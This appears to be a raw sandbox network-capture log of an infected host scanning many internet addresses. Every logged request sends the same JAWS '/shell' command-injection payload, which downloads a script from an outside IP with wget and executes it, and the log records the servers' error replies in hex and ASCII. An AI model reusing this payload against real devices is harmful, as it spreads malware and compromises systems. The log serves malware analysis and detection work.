Jan 2, 2024 06:25:25.284301996 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:25.560585976 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:25 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.23	53212	77.223.119.150	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:25.284667969 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:25.543459892 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:25:23 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.23	53440	77.242.107.196	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:25.327512980 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:25.633570910 CET	242	IN	HTTP/1.0 400 Bad Request Connection: close Content-Length: 113 Date: Tue, 02 Jan 2024 05:25:04 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 400: Bad Request</title></head><body><h1>Error 400: Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.23	41360	203.198.100.113	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:25.334124088 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:25.642741919 CET	414	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 02 Jan 2024 05:25:25 GMT Content-Type: text/html Content-Length: 138 Location: http://127.0.0.1/?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.23	34304	23.50.91.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:25.361155987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:25.696671009 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:25 GMT Date: Tue, 02 Jan 2024 05:25:25 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 32 64 36 32 63 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 31 32 35 26 23 34 36 3b 31 38 66 63 33 30 61 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.12d62c17.1704173125.18fc30a2</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.23	45518	5.201.189.181	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:25.755860090 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:26.291274071 CET	471	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Date: Tue, 02 Jan 2024 05:25:26 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.23	46168	110.161.237.57	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:25.756166935 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:26.566077948 CET	16	IN	HTTP/1.0 404

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.23	41330	178.128.227.109	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:25.911067963 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:26.065953016 CET	496	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 302 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 65 6d 70 63 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at empcan.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.23	51292	18.223.213.89	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:25.918831110 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.23	40292	157.90.166.5	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:26.148693085 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:26.386401892 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:25:26 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.23	54244	52.51.210.253	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:26.161554098 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:26.411801100 CET	1286	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 1937 Date: Tue, 02 Jan 2024 05:25:26 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 45 78 63 65 70 74 69 6f 6e 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 49 6e 76 61 6c 69 64 20 63 68 61 72 61 63 74 65 72 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 20 48 54 54 50 20 70 72 6f 74 6f 63 6f 6c 20 5b 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 26 23 34 37 3b 6a 61 77 73 3b 73 68 2b 26 23 34 37 3b 74 6d 70 26 23 34 37 3b 6a 61 77 73 20 5d 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 73 65 72 76 65 72 20 63 61 6e 6e 6f 74 20 6f 72 20 77 69 6c 6c 20 6e 6f 74 20 70 72 6f 63 65 73 73 20 74 68 65 20 72 65 71 75 65 73 74 20 64 75 65 20 74 6f 20 73 6f 6d 65 74 68 69 6e 67 20 74 68 61 74 20 69 73 20 70 65 72 63 65 69 76 65 64 20 74 6f 20 62 65 20 61 20 63 6c 69 65 6e 74 20 65 72 72 6f 72 20 28 65 2e 67 2e 2c 20 6d 61 6c 66 6f 72 6d 65 64 20 72 65 71 75 65 73 74 20 73 79 6e 74 61 78 2c 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 20 6d 65 73 73 61 67 65 20 66 72 61 6d 69 6e 67 2c 20 6f 72 20 64 65 63 65 70 74 69 76 65 20 72 65 71 75 65 73 74 20 72 6f 75 74 69 6e 67 29 2e 3c 2f 70 3e 3c 70 3e 3c 62 3e 45 78 63 65 70 74 69 6f 6e 3c 2f 62 3e 3c 2f 70 3e 3c 70 72 65 3e 6a 61 76 61 2e 6c 61 6e 67 2e 49 6c 6c 65 67 61 6c 41 72 67 75 6d 65 6e 74 45 78 63 65 70 74 69 6f 6e 3a 20 49 6e 76 61 6c 69 64 20 63 68 61 72 61 63 74 65 72 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 20 48 54 54 50 20 70 72 6f 74 6f 63 6f 6c 20 5b 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 26 23 34 37 3b 6a 61 77 73 3b 73 68 2b 26 23 34 37 3b 74 6d 70 26 23 34 37 3b 6a 61 77 73 20 5d 0a 09 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 79 6f 74 65 2e 68 74 74 70 31 31 2e 48 74 74 70 31 31 49 6e 70 75 74 42 75 66 66 65 72 2e 70 61 72 73 65 52 65 71 75 65 73 74 4c 69 6e 65 28 48 74 74 70 31 31 49 6e 70 75 74 42 75 66 66 65 72 2e 6a 61 76 61 3a 35 35 38 29 0a 09 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 79 6f 74 65 2e 68 74 74 70 31 31 2e 48 74 74 70 31 31 50 72 6f 63 65 73 73 6f 72 2e 73 65 72 76 69 63 65 28 48 74 74 70 31 31 50 Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol [157.90.250.90/jaws;sh+/tmp/jaws ]</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).</p><p><b>Exception</b></p><pre>java.lang.IllegalArgumentException: Invalid character found in the HTTP protocol [157.90.250.90/jaws;sh+/tmp/jaws ]org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:558)org.apache.coyote.http11.Http11Processor.service(Http11P
Jan 2, 2024 06:25:26.411839008 CET	831	IN	Data Raw: 72 6f 63 65 73 73 6f 72 2e 6a 61 76 61 3a 32 36 33 29 0a 09 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 79 6f 74 65 2e 41 62 73 74 72 61 63 74 50 72 6f 63 65 73 73 6f 72 4c 69 67 68 74 2e 70 72 6f 63 65 73 73 28 41 62 73 74 72 61 63 74 50 72 6f 63 65 Data Ascii: rocessor.java:263)org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:928)org.apache.tomcat.util.net.NioEndpoint$SocketProcess

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.23	37990	104.24.209.204	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:29.545650005 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.23	40034	172.67.240.216	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:29.545694113 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.23	60348	99.142.66.148	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:29.576052904 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:29.732800961 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:25:29 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.23	37922	35.183.139.129	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:29.610630989 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.23	50818	77.129.5.235	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:29.681947947 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:29.919106960 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Tue, 02 Jan 2024 05:25:29 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.23	45118	52.68.208.136	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:29.707547903 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.23	51920	85.126.165.103	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:29.714737892 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
